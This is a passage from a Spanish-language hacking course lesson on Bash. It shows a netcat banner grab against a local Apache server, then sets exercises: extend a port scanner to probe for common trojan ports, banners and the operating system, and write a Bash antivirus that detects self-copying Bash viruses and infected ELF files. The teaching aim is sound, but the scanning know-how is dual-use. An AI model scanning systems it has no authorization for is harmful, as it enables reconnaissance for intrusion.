On since Tue Aug 24 14:10 (UYT) on tty1 18 minutes 22 seconds
idle
No mail.
No Plan.

…Vean todo con atención, sigan viendo con atención ;)…

bash-2.05b$ nc localhost 80 < http.txt


HTTP/1.1 200 OK
Date: Tue, 24 Aug 2004 18:30:52 GMT
Server: Apache/1.3.31 (Unix) mod_ssl/2.8.18 OpenSSL/0.9.6i
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Last-Modified: Sat, 11 Jan 2003 01:04:39 GMT
ETag: "29610-a71-3e1f6da7;3e1f6e71"
Accept-Ranges: bytes
Content-Length: 2673
Connection: close
Content-Type: text/html
Content-Language: en
Expires: Tue, 24 Aug 2004 18:30:52 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">


<HTML>
<HEAD>
<TITLE>Test Page for the SSL/TLS-aware Apache...</TITLE>
</HEAD>
<BODY>
...
...............
...
</BODY>
</HTML>

Nota: Filtros, archivos y más filtros :·Y…

b) Agreguen una opción “-t” para que el scanner examine al


menos 10 troyanos comunes en sus respectivos puertos, 5 deberán
ser troyanos que usen puertos UDP.

c) Agreguen una opción “-a” (a=all=todo) que pida un escaneo


de banners, de sistema operativo y de troyanos.
d) Agreguen algo más al programa y sorpréndannos :P.

6) Crear un AntiVirux.bash con las siguientes prestaciones:

-Ejecutarse cuando inicia el sistema.


-Detectar eficazmente la presencia de un virus Bash autocopiable.
-Corroborar desde una lista de programas predefinida si alguno
potencialmente peligroso o desconocido se ha ejecutado y avisarnos.
-Verificar la existencia de posible código maligno en archivos Bash.
-Buscar código repetido en los archivos Bash de un directorio.
-Buscar archivos ELF infectados.
-Que detecte modificaciones en su propio código.

Estén atentos: Un gusano bien programado puede hacerlo denuevo.

FIN DE LA LECCIÓN #!/bin/bash


Autor: DarKh|s.exe ³ (n+1)
Correo electrónico: darkhis@alumnoz.com
Sitio Web: http://www.cursohacker.com
Lección elaborada con material de autores anónimos y redacciones
propias protegidas en el Uruguay a través del registro pertinente en
el marco de la ley de Propiedad Intelectual (ley Nº 17.616), y a nivel
internacional por intermedio de las Convenciones Internacionales
sobre Derechos de autor. El present e material se promueve con fines
educativos, por lo que ni sus autores ni CursoHacker.Com se hacen
responsables de malos usos o de usos indebidos de terceros.

También podría gustarte